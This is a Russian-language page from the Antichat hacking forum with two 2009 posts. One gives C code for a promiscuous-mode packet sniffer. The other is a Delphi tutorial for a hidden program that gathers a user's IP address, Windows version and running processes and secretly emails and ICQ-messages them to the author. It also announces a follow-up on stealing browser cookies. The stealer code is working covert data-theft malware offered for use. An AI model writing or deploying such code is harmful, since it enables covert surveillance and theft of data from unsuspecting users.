Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Пример простейшего сниффера для W2K/XP. |

26.07.2009, 09:43
|
|
Banned
Регистрация: 11.04.2009
Сообщений: 45
Провел на форуме: 260579
Репутация:
2
|
|
Пример простейшего сниффера для W2K/XP.
Пример простейшего сниффера для W2K/XP.
Ниже приведён полный код программы. Данный код не претендует на звание крутого снифера, однако при желании его можно доработать, чтобы можно было просматривать содержимое пакетов. Так же на его основе можно легко сделать простой анализатор трафика. А главное - не надо делать всяких драйверов; всё просто и понятно.
Суть этого сниффера заключается в том, что используются сокеты второй версии и созданный сокет переводится в режим promiscuous (прослушивания).
nclude <conio.h>
#include <stdio.h>
#include <winsock2.h>
#define MAX_PACKET_SIZE 0x10000
#define SIO_RCVALL 0x98000001
// Буфер для приёма данных
char Buffer[MAX_PACKET_SIZE]; // 64 Kb
//Структура заголовка IP-пакета
typedef struct IPHeader {
UCHAR iph_verlen; // версия и длина заголовка
UCHAR iph_tos; // тип сервиса
USHORT iph_length; // длина всего пакета
USHORT iph_id; // Идентификация
USHORT iph_offset; // флаги и смещения
UCHAR iph_ttl; // время жизни пакета
UCHAR iph_protocol; // протокол
USHORT iph_xsum; // контрольная сумма
ULONG iph_src; // IP-адрес отправителя
ULONG iph_dest; // IP-адрес назначения
} IPHeader;
char src[10];
char dest[10];
char ds[15];
unsigned short lowbyte;
unsigned short hibyte;
void main()
{
WSADATA wsadata; // Инициализация WinSock.
SOCKET s; // Cлущающий сокет.
char name[128]; // Имя хоста (компьютера).
HOSTENT* phe; // Информация о хосте.
SOCKADDR_IN sa; // Адрес хоста
IN_ADDR sa1; //
unsigned long flag = 1; // Флаг PROMISC Вкл/выкл.
// инициализация
WSAStartup(MAKEWORD(2,2), &wsadata);
s = socket( AF_INET, SOCK_RAW, IPPROTO_IP );
gethostname(name, sizeof(name));
phe = gethostbyname( name );
ZeroMemory( &sa, sizeof(sa) );
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = ((struct in_addr *)phe->h_addr_list[0])->s_addr;
bind(s, (SOCKADDR *)&sa, sizeof(SOCKADDR));
// Включение promiscuous mode.
ioctlsocket(s, SIO_RCVALL, &flag);
// Бесконечный цикл приёма IP-пакетов.
while( !_kbhit() )
{
int count;
count = recv( s, Buffer, sizeof(Buffer), 0 );
// обработка IP-пакета
if( count >= sizeof(IPHeader) )
{
IPHeader* hdr = (IPHeader *)Buffer;
//Начинаем разбор пакета...
strcpy(src,"Пакет: ");
CharToOem(src,dest);
printf(dest);
// Преобразуем в понятный вид адрес отправителя.
printf("From ");
sa1.s_addr = hdr->iph_src;
printf(inet_ntoa(sa1));
// Преобразуем в понятный вид адрес получателя.
printf(" To ");
sa1.s_addr = hdr->iph_dest;
printf(inet_ntoa(sa1));
// Вычисляем протокол. Полный список этих констант
// содержится в файле winsock2.h
printf(" Prot: ");
if(hdr->iph_protocol == IPPROTO_TCP) printf("TCP ");
if(hdr->iph_protocol == IPPROTO_UDP) printf("UDP ");
// Вычисляем размер. Так как в сети принят прямой порядок
// байтов, а не обратный, то прийдётся поменять байты местами.
printf("Size: ");
lowbyte = hdr->iph_length>>8;
hibyte = hdr->iph_length<<8;
hibyte = hibyte + lowbyte;
printf("%s",itoa(hibyte,"",10));
// Вычисляем время жизни пакета.
printf(" TTL:%s",itoa(hdr->iph_ttl,"",10));
printf("\n");
}
}
closesocket( s );
WSACleanup();
}
Для успешной компиляции, необходимо подключить к проекту файл ws2_32.lib. надо изменить строки: printf("%s",itoa(hibyte,"",10)); printf(" TTL:%s",itoa(hdr->iph_ttl,"",10));
|
|
|
[Delphi] IP+cведения о системе на e-mail и ICQ |

09.11.2009, 05:23
|
|
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
Провел на форуме: 724939
Репутация:
108
|
|
[Delphi] IP+cведения о системе на e-mail и ICQ
IP+cведения о системе на e-mail и ICQ
В данной министатье я решил показать небольшой пример того, как можно получить IP пользователя и сведения о его системе, а потом отправить их себе на e-mail. Но нам этого мало. Пускай программа отправляет нам информацию еще и по ICQ. Сразу скажу, что данный материал рассчитан большим образом на новичков. Надеюсь кому-то мой труд пригодится.
Итак, для этого нам понадобятся:- "Delphi 7" или "Delphi 2009", так как модуль ICQ работает только на них. Впрочем взять другую версию модуля не проблема.
- Собственно, сам модуль ICQClient v1.35. Взять его можно здесь: ICQClient v1.35
Качаем, устанавливаем. Как установить компонент для Делфи читаем тут.
Рассмотрим, что должна будет делать наша программа:
1. Получить IP, сведения о системе и системных процессах.
2. Проверить подключение к интернету, и если мы в онлайне то
3. Отправить данные нам на ICQ.
4. Отправить письмо на наш e-mail.
Итак, приступим.
В uses подключим три модуля. Это Winsock (для процедуры получения IP), WinINET (для проверки соединения с интернетом) и Tlhelp32 (для получения списка процессов).
С вкладки "ICQClient" разместим на форме компонент ICQClient. Думаю вы догадались для чего он.
С вкладки "Indy Misc" - IdMessage. С вкладки "Indy Clients" - IdSMTP. Эти компоненты нужны для отправки письма на ваш e-mail.
Ну и напоследок положим 2 таймера, один из них будет каждый определенный промежуток времени проверять, есть ли соединение к интернету, и если есть то отправит нам нужные данные.
Далее опишем несколько нужных нам функций.
В обработчике OnCreate главной формы вставим следующий код, скрывающий нашу форму от посторонних глаз:
Код:
Application.ShowMainForm := false;
Функция для получения IP в строковом формате. В интернете их много, можете взять ту, которая вам нравится больше ))
Код:
function TForm1.IPstr(HostName:String) : String;
LABEL Abort;
TYPE
TAPInAddr = ARRAY[0..100] OF PInAddr;
PAPInAddr =^TAPInAddr;
VAR
WSAData : TWSAData;
HostEntPtr : PHostEnt;
pptr : PAPInAddr;
I : Integer;
BEGIN
Result:='';
WSAStartUp($101,WSAData);
TRY
HostEntPtr:=GetHostByName(PChar(HostName));
IF HostEntPtr=NIL THEN
GOTO Abort;
pptr:=PAPInAddr(HostEntPtr^.h_addr_list);
I:=0;
WHILE pptr^[I]<>NIL DO
BEGIN
RESULT:=RESULT+#13#10+inet_ntoa(pptr^[I]^);
Inc(I);
END;
Abort:
EXCEPT
END;
WSACleanUp();
END;
Функция для получения версии операционной системы Windows.
Код:
function TForm1.GetOS: string;
const
cOsUnknown = 'unknown';
cOsWin95 = 'Win95';
cOsWin98 = 'Win98';
cOsWin98SE = 'W98SE';
cOsWinME = 'WinME';
cOsWinNT = 'WinNT';
cOsWin2000 = 'Win2000';
cOsXP = 'WinXP';
var
osVerInfo: TOSVersionInfo;
majorVer, minorVer: Integer;
begin
Result := cOsUnknown;
{ set operating system type flag }
osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if GetVersionEx(osVerInfo) then
begin
majorVer := osVerInfo.dwMajorVersion;
minorVer := osVerInfo.dwMinorVersion;
case osVerInfo.dwPlatformId of
VER_PLATFORM_WIN32_NT: { Windows NT/2000 }
begin
if majorVer <= 4 then
Result := cOsWinNT
else if (majorVer = 5) and (minorVer = 0) then
Result := cOsWin2000
else if (majorVer = 5) and (minorVer = 1) then
Result := cOsXP
else
Result := cOsUnknown;
end;
VER_PLATFORM_WIN32_WINDOWS: { Windows 9x/ME }
begin
if (majorVer = 4) and (minorVer = 0) then
Result := cOsWin95
else if (majorVer = 4) and (minorVer = 10) then
begin
if osVerInfo.szCSDVersion[1] = 'A' then
Result := cOsWin98SE
else
Result := cOsWin98;
end
else if (majorVer = 4) and (minorVer = 90) then
Result := cOsWinME
else
Result := cOsUnknown;
end;
else
Result := cOsUnknown;
end;
end
else
Result := cOsUnknown;
end;
Функция получения списка процессов пользователя:
Код:
function TForm1.ProcessInfo: string;
var hsnap: Thandle;
procentry: TProcessEntry32;
begin
result:='';
hsnap:=CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
procentry.dwSize:=sizeof(procentry);
Process32First(hsnap, procentry);
repeat
result:=result+procentry.szexefile+#13#10;
until
Process32Next(hsnap, procentry)<>true;
CloseHandle(hsnap);
end;
Вот и все, нужную нам информацию мы собрали, теперь опишем функцию отправки письма на почту. В данном примере будем использовать mail.ru.
Код:
procedure TForm1.SendMail;
begin
IdSMTP1.Host := 'smtp.mail.ru';
IdSMTP1.Port := 25;
IdSMTP1.Username := 'pypkin'; // логин отправителя
IdSMTP1.Password := '123456'; // пароль отправителя
IdSMTP1.AuthenticationType:=atLogin;
with IdMessage1 do
begin
Body.Add('IP = ' + IPstr('') + #13#10 + 'OS = ' + GetOS + #13#10 + ProcessInfo);
From.Text := 'pypkin@mail.ru'; // полный е-майл отправителя
Recipients.EMailAddresses := 'resyltat@mail.ru'; //полный е-майл получателя
Subject :='тема письма';
end;
IdSMTP1.Connect;
try
IdSMTP1.Send(IdMessage1);
finally
IdSMTP1.Disconnect;
end;
end;
Надеюсь ничего сложного? Все функции описаны, приступим непосредственно к отправке. Выставим интервал таймера Timer1 в 5000. А в событии OnTimer напишем:
Код:
procedure TForm1.Timer1Timer(Sender: TObject);
begin
if InternetGetConnectedState(NIL,0)=true then
try
Timer1.Enabled:=false;
ICQClient1.UIN := 123456789;
ICQClient1.Password := 'пароль отправителя';
ICQClient1.Login(0, false);
Timer2.Enabled:=true;
try
SendMail;
sleep(1000);
except
end;
except
Timer1.Enabled:=true;
end;
end;
Заведем глобальную переменную logged типа boolean.
Она будет нужна нам чтоб знать, когда наш пользователь ICQ подключится к серверу.
Код:
logged: boolean = false;
Теперь в событии OnLogin компонента ICQClient вставим код:
Код:
procedure TForm1.ICQClient1Login(Sender: TObject);
begin
logged:=true;
end;
В Timer2 выставим интервал в 100, Enabled в False, а в событии OnTimer пишем следующее:
Код:
procedure TForm1.Timer2Timer(Sender: TObject);
begin
if logged = true then
try
Timer2.Enabled:=false;
ICQClient1.SendMessage(987654321, 'IP = ' + IPstr('') + #13#10 + 'OS = ' + GetOS);
sleep(500);
except
end;
end;
Готово! Можно смело компилировать, и ждать письма, которое должно прийти через 5 секунд после запуска программы. При многократном запуске могут возникнуть проблемы с отправкой на ICQ, это связано с тем, что если с одного компьютера слишком часто идет запрос на логинизацию, он блокируется для сервиса на 10-20 мин. Естественно, для того, чтоб все было скрытно, нужно писать на API. Но на первый раз и так сойдет. В следующей статье я расскажу как вытягивать куки из-под 3-х известных броузеров.
Надеюсь вы не пожалели, что потратили время на чтение данного материала. Удачи!
Исходники:
http://slil.ru/28178545
http://depositfiles.com/files/a07uyv66x
Последний раз редактировалось =Zeus=; 09.11.2009 в 13:53..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|